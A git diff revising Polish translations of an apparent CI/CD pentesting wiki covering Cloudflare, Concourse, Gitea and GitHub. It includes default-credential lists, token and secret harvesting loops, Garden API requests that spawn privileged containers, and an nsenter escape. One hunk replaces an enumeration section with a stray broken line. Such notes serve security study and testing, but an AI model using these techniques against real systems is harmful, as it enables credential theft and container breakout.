tego bez zakłócania tego dostępu. -- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, ciasteczka, referera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają ciasteczka. +- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez przerwania tego dostępu. +- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, ciasteczka, odsyłacza...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają ciasteczka. - Jeśli atak pochodzi od **zweryfikowanego bota**, przynajmniej **dodaj ograniczenie liczby połączeń** dla botów. - Jeśli atak jest skierowany na **konkretną ścieżkę**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce. -- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN z **Narzędzi** w WAF. +- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN-y z **Narzędzi** w WAF. - Sprawdź, czy **Zarządzane zasady** mogą również pomóc w zapobieganiu wykorzystaniu podatności. -- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie dla konkretnych IP** i **agentów użytkownika.** +- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie konkretnym IP** i **agentom użytkownika.** - W DDoS możesz **nadpisać niektóre zasady, aby były bardziej restrykcyjne**. - **Ustawienia**: Ustaw **Poziom bezpieczeństwa** na **Wysoki** i na **Pod atakiem**, jeśli jesteś pod atakiem i **Sprawdzanie integralności przeglądarki jest włączone**. - W Cloudflare Domains -> Analiza -> Bezpieczeństwo -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone @@ -89,7 +89,7 @@ _Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_ ### Caching -- [ ] W sekcji **`Configuration`** rozważ włączenie **Narzędzia skanowania CSAM** +- [ ] W sekcji **`Konfiguracja`** rozważ włączenie **Narzędzia skanowania CSAM** ### **Trasy pracowników** @@ -111,7 +111,7 @@ TODO ### Strony niestandardowe -- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub jestem w trybie ataku) +- [ ] Opcjonalnie można skonfigurować strony niestandardowe, gdy wystąpi błąd związany z bezpieczeństwem (jak blokada, ograniczenie liczby połączeń lub tryb pod atakiem) ### Aplikacje @@ -119,7 +119,7 @@ TODO ### Scrape Shield -- [ ] Sprawdź, czy **Zamaskowanie adresu e-mail** jest **włączone** +- [ ] Sprawdź, czy **Zaszyfrowanie adresu e-mail** jest **włączone** - [ ] Sprawdź, czy **Wykluczenia po stronie serwera** są **włączone** ### **Zaraz** diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 09543b7bb..2c4a93827 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -14,13 +14,13 @@ ATC jest sercem Concourse. Uruchamia **interfejs webowy i API** i jest odpowiedzialne za cały **harmonogram pipeline'ów**. **Łączy się z PostgreSQL**, którego używa do przechowywania danych pipeline'ów (w tym logów budowy). -Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za harmonogram budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny. +Odpowiedzialnością [checker](https://concourse-ci.org/checker.html) jest ciągłe sprawdzanie nowych wersji zasobów. [scheduler](https://concourse-ci.org/scheduler.html) jest odpowiedzialny za planowanie budów dla zadania, a [build tracker](https://concourse-ci.org/build-tracker.html) jest odpowiedzialny za uruchamianie wszelkich zaplanowanych budów. [garbage collector](https://concourse-ci.org/garbage-collector.html) jest mechanizmem czyszczącym do usuwania wszelkich nieużywanych lub przestarzałych obiektów, takich jak kontenery i wolumeny. #### TSA: rejestracja pracowników i przekazywanie TSA to **serwer SSH zbudowany na zamówienie**, który jest używany wyłącznie do bezpiecznej **rejestracji** [**pracowników**](https://concourse-ci.org/internals.html#architecture-worker) w [ATC](https://concourse-ci.org/internals.html#component-atc). -TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj znajduje się w tym samym miejscu co [ATC](https://concourse-ci.org/internals.html#component-atc) i jest umieszczone za równoważnikiem obciążenia. +TSA domyślnie **nasłuchuje na porcie `2222`** i zazwyczaj jest współlokowane z [ATC](https://concourse-ci.org/internals.html#component-atc) oraz znajduje się za równoważnikiem obciążenia. **TSA implementuje CLI przez połączenie SSH,** wspierając [**te polecenia**](https://concourse-ci.org/internals.html#component-tsa). diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 6ed5d4695..543b2b616 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -19,7 +19,7 @@ Concourse ma pięć ról: Zauważ, że Concourse **grupuje pipeline w zespołach**. Dlatego użytkownicy należący do zespołu będą mogli zarządzać tymi pipeline i **może istnieć kilka zespołów**. Użytkownik może należeć do kilku zespołów i mieć różne uprawnienia w każdym z nich. -### Vars i Menedżer poświadczeń +### Vars & Menedżer poświadczeń W konfiguracjach YAML możesz konfigurować wartości używając składni `((_source-name_:_secret-path_._secret-field_))`.\ [Z dokumentacji:](https://concourse-ci.org/vars.html#var-syntax) **source-name jest opcjonalny**, a jeśli zostanie pominięty, zostanie użyty [menedżer poświadczeń w skali klastra](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), lub wartość może być podana [statycznie](https://concourse-ci.org/vars.html#static-vars).\ @@ -36,65 +36,7 @@ vars: { tag: 1.13 } ``` Or using the following `fly` **arguments**: -- `-v` or `--var` `NAME=VALUE` ustawia ciąg `VALUE` jako wartość dla zmiennej `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` analizuje `VALUE` jako YAML i ustawia go jako wartość dla zmiennej instancji `NAME`. Zobacz [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html), aby dowiedzieć się więcej o zmiennych instancji. -- `-l` or `--load-vars-from` `FILE` ładuje `FILE`, dokument YAML zawierający mapowanie nazw zmiennych na wartości, i ustawia je wszystkie. - -#### Zarządzanie poświadczeniami - -Istnieją różne sposoby, w jakie **Menadżer Poświadczeń może być określony** w potoku, przeczytaj jak w [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Ponadto, Concourse obsługuje różne menedżery poświadczeń: - -- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) -- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) -- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) -- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) -- [Caching credentials](https://concourse-ci.org/creds-caching.html) -- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) -- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) - -> [!CAUTION] -> Zauważ, że jeśli masz jakiś rodzaj **dostępu do zapisu do Concourse**, możesz tworzyć zadania, aby **wykradać te sekrety**, ponieważ Concourse musi mieć możliwość ich dostępu. - -### Enumeracja Concourse - -Aby enumerować środowisko Concourse, musisz najpierw **zgromadzić ważne poświadczenia** lub znaleźć **uwierzytelniony token**, prawdopodobnie w pliku konfiguracyjnym `.flyrc`. - -#### Logowanie i enumeracja bieżącego użytkownika - -- Aby się zalogować, musisz znać **punkt końcowy**, **nazwę zespołu** (domyślnie `main`) oraz **zespół, do którego należy użytkownik**: -- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` -- Uzyskaj skonfigurowane **cele**: -- `fly targets` -- Sprawdź, czy skonfigurowane **połączenie z celem** jest nadal **ważne**: -- `fly -t status` -- Uzyskaj **rolę** użytkownika w stosunku do wskazanego celu: -- `fly -t userinfo` - -> [!NOTE] -> Zauważ, że **token API** jest **zapisywany** w `$HOME/.flyrc` domyślnie, przeszukując maszyny, możesz tam znaleźć poświadczenia. - -#### Zespoły i użytkownicy - -- Uzyskaj listę zespołów -- `fly -t teams` -- Uzyskaj role w zespole -- `fly -t get-team -n ` -- Uzyskaj listę użytkowników -- `fly -t active-users` - -#### Potoki - -- **Lista** potoków: -- `fly -t pipelines -a` -- **Uzyskaj** yaml potoku (**wrażliwe informacje** mogą być zawarte w definicji): -- `fly -t get-pipeline -p ` -- Uzyskaj wszystkie **zmienne konfiguracyjne zadeklarowane w potoku** -- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Uzyskaj wszystkie **nazwy sekretów potoków używanych** (jeśli możesz tworzyć/modyfikować zadanie lub przejąć kontener, możesz je wykradać): +- ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -118,7 +60,7 @@ rm /tmp/secrets.txt ### Ataki na Concourse -#### Bruteforce poświadczeń +#### Brute-Force na poświadczenia - admin:admin - test:test @@ -142,7 +84,7 @@ Z tymi uprawnieniami możesz być w stanie: #### Tworzenie/Modyfikacja Pipeline -Jeśli masz wystarczające uprawnienia (**rola członka lub wyższa**) będziesz mógł **tworzyć/modyfikować nowe pipeline.** Sprawdź ten przykład: +Jeśli masz wystarczające uprawnienia (**rola członka lub więcej**) będziesz mógł **tworzyć/modyfikować nowe pipeline.** Sprawdź ten przykład: ```yaml jobs: - name: simple @@ -295,7 +237,7 @@ cat /output Nawet jeśli kontener webowy ma wyłączone niektóre zabezpieczenia, **nie działa jako zwykły kontener z uprawnieniami** (na przykład, **nie możesz** **zamontować** i **możliwości** są bardzo **ograniczone**, więc wszystkie łatwe sposoby na ucieczkę z kontenera są bezużyteczne). -Jednak przechowuje **lokalne poświadczenia w postaci czystego tekstu**: +Jednak przechowuje **lokalne poświadczenia w postaci niezaszyfrowanej**: ```bash cat /concourse-auth/local-users test:test @@ -332,10 +274,10 @@ select * from users; > [!WARNING] > To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy -Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **co musi wykonać** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń: +Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez administratora sieci do wskazania pracownikowi **co ma wykonać** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń: -- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer WWW mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika. -- Serwer WWW **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem WWW a usługą garden. +- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika. +- Serwer webowy **monitoruje uruchomione kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem webowym a usługą garden. Pracownicy concourse działają z wysokimi uprawnieniami kontenera: ``` @@ -376,7 +318,7 @@ nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` **Tworzenie nowego uprzywilejowanego kontenera** -Możesz bardzo łatwo stworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać na nim coś: +Możesz bardzo łatwo stworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać coś na nim: ```bash curl -X POST http://127.0.0.1:7777/containers \ -H 'Content-Type: application/json' \ @@ -387,7 +329,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], --header='Content-Type:application/json' \ 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` -Jednak serwer webowy co kilka sekund sprawdza działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów: +Jednak serwer webowy co kilka sekund sprawdza działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie on usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 925f6ee6c..96313b54b 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` -Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i dać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s: +Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i przyznać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -85,9 +85,9 @@ Można użyć kilku różnych typów kroków: - modyfikator kroku [`across`](https://concourse-ci.org/across-step.html#schema.across) uruchamia krok wielokrotnie; raz dla każdej kombinacji wartości zmiennych - krok [`try`](https://concourse-ci.org/try-step.html) próbuje uruchomić krok i odnosi sukces, nawet jeśli krok się nie powiedzie -Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić cokolwiek chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz, itd.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku. +Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić wszystko, co chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz itp.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku. -Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebuje każdy krok do uruchomienia. +Dlatego możliwe jest wskazanie, w jakim typie kontenera każdy krok musi być uruchomiony. ### Przykład prostego pipeline'a ```yaml @@ -125,7 +125,7 @@ fly -t tutorial intercept --job pipe-name/simple ``` Sprawdź **127.0.0.1:8080**, aby zobaczyć przepływ pipeline'u. -### Skrypt Bash z potokiem wyjścia/wejścia +### Skrypt Bash z potokiem wejścia/wyjścia Możliwe jest **zapisanie wyników jednego zadania w pliku** i wskazanie, że jest to wyjście, a następnie wskazanie wejścia następnego zadania jako wyjścia poprzedniego zadania. To, co robi concourse, to **zamontowanie katalogu poprzedniego zadania w nowym zadaniu, gdzie możesz uzyskać dostęp do plików utworzonych przez poprzednie zadanie**. diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index d5de040ce..58a345d6c 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -4,7 +4,7 @@ ## Co to jest Gitea -**Gitea** to **rozwiązanie do hostowania kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go. +**Gitea** to **rozwiązanie do hostingu kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go. ![](<../../images/image (160).png>) @@ -41,7 +41,7 @@ W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github. ### Z Danymi Użytkownika/Ciastkiem Webowym -Jeśli w jakiś sposób masz już dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wymienić innych użytkowników** i **jak są chronione repozytoria.** +Jeśli w jakiś sposób już masz dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wymienić innych użytkowników** oraz **jak są chronione repozytoria.** Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**. @@ -50,17 +50,17 @@ Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostę ### Z Klucza SSH Użytkownika -Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (2FA nie jest stosowane). +Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (brak zastosowania 2FA). -Dzięki temu kluczowi możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp: +Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** na swoim koncie w _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty. +Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** na swoim koncie w _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty. -**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchamiać projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi. +**Klucze SSH** mogą być również ustawiane w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchamiać projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi. #### Klucze GPG @@ -74,7 +74,7 @@ gpg --list-secret-keys --keyid-format=long Aby uzyskać wprowadzenie na temat [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-gitea-information.md#personal-access-tokens). -Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** na serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do użytkownika. +Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** w serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do użytkownika. ### Z aplikacją Oauth @@ -93,17 +93,17 @@ W Github mamy **github actions**, które domyślnie uzyskują **token z dostępe - **Włącz białą listę scalania**: Jeśli istnieje biała lista scalania, musisz być w jej obrębie. - **Wymagaj, aby zatwierdzenia były większe niż 0**: Wtedy... musisz skompromitować innego użytkownika. - **Ogranicz zatwierdzenia do białej listy**: Jeśli tylko użytkownicy z białej listy mogą zatwierdzać... musisz skompromitować innego użytkownika, który jest na tej liście. -- **Odrzuć przestarzałe zatwierdzenia**: Jeśli zatwierdzenia nie są usuwane z nowymi commitami, możesz przejąć już zatwierdzone PR, aby wstrzyknąć swój kod i scalić PR. +- **Odrzuć przestarzałe zatwierdzenia**: Jeśli zatwierdzenia nie są usuwane z nowymi commitami, możesz przejąć już zatwierdzone PR, aby wstrzyknąć swój kod i połączyć PR. -Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść te zabezpieczenia. +Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść zabezpieczenia. ### Wyliczanie Webhooków **Webhooki** mogą **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\ Jednak zazwyczaj w **webhooku** ustawiony jest **sekret**, którego **nie możesz odzyskać**, co **zapobiega** zewnętrznym użytkownikom, którzy znają URL webhooka, ale nie znają sekretu, aby **wykorzystać ten webhook**.\ -Jednak w niektórych przypadkach, ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać. +Jednak w niektórych przypadkach, ludzie zamiast ustawiać **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać. -Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**. +Webhooki mogą być ustawiane na **poziomie repozytorium i organizacji**. ## Po eksploatacji @@ -120,7 +120,7 @@ W ścieżce gitea (domyślnie: /data/gitea) możesz również znaleźć interesu - **klucz prywatny jwt** w folderze jwt. - Więcej **wrażliwych informacji** można znaleźć w tym folderze. -Jeśli jesteś wewnątrz serwera, możesz również **użyć binarki `gitea`**, aby uzyskać dostęp/modyfikować informacje: +Jeśli jesteś wewnątrz serwera, możesz również **użyć binarnego pliku `gitea`** do uzyskiwania/modyfikowania informacji: - `gitea dump` zrzuci gitea i wygeneruje plik .zip. - `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` wygeneruje token wskazanego typu (trwałość). diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 2313977ca..0bba62680 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -79,7 +79,7 @@ Ochrona gałęzi ma na celu **nieprzekazywanie pełnej kontroli nad repozytorium **Ochrona gałęzi repozytorium** może być znaleziona w _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> Nie **można ustawić ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium. +> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium. Różne ochrony mogą być stosowane do gałęzi (jak do master): @@ -92,7 +92,7 @@ Różne ochrony mogą być stosowane do gałęzi (jak do master): - **Ogranicz zatwierdzenia do białej listy**: Wskaź użytkowników/zespoły, które mogą zatwierdzać PR-y. - **Zablokuj scalanie przy odrzuconych recenzjach**: Jeśli zmiany są wymagane, nie może być scalone (nawet jeśli inne kontrole przejdą) - **Zablokuj scalanie przy oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone -- **Odrzuć przestarzałe zatwierdzenia**: Gdy pojawią się nowe commity, stare zatwierdzenia zostaną odrzucone. +- **Odrzuć przestarzałe zatwierdzenia**: Przy nowych commitach, stare zatwierdzenia będą odrzucane. - **Wymagaj podpisanych commitów**: Commity muszą być podpisane. - **Zablokuj scalanie, jeśli pull request jest przestarzały** - **Wzory plików chronionych/niechronionych**: Wskaź wzory plików do ochrony/od ochrony przed zmianami diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index c1e92c569..bb2e91a74 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -20,11 +20,11 @@ Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętr - **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do nich dostęp - **Publiczne** oznacza, że **cały internet** będzie mógł uzyskać do nich dostęp. -W przypadku, gdy znasz **użytkownika, repo lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repo**. +W przypadku, gdy znasz **użytkownika, repozytorium lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repozytorium**. ### Github Dorks -Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repo lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**. +Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repozytorium lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**. Narzędzia (każde narzędzie zawiera swoją listę dorks): @@ -34,7 +34,7 @@ Narzędzia (każde narzędzie zawiera swoją listę dorks): ### Github Leaks -Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repo i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów). +Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repozytorium i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów). Narzędzia (każde narzędzie zawiera swoją listę regexów): @@ -47,11 +47,11 @@ Narzędzia (każde narzędzie zawiera swoją listę regexów): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> Kiedy szukasz wycieków w repo i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety! +> Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety! ### Zewnętrzne forki -Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać pliki konfiguracyjne Github Actions yaml. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork). +Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby dowiedzieć się, czy repozytorium jest podatne, musisz głównie przeczytać pliki konfiguracyjne Github Actions yaml. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork). ### Github Leaks w usuniętych/wewnętrznych forkach @@ -61,24 +61,24 @@ Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażl accessible-deleted-data-in-github.md {{#endref}} -## Wzmacnianie organizacji +## Wzmocnienie organizacji ### Uprawnienia członków Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **członków** organizacji. Można je kontrolować z strony `https://github.com/organizations//settings/member_privileges` lub z [**API organizacji**](https://docs.github.com/en/rest/orgs/orgs). -- **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zalecane jest **None** lub **Read**. +- **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zaleca się **None** lub **Read**. - **Forkowanie repozytoriów**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na forkowanie repozytoriów organizacji. - **Tworzenie stron**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron. -- **Prośby o dostęp do integracji**: Po włączeniu tego, 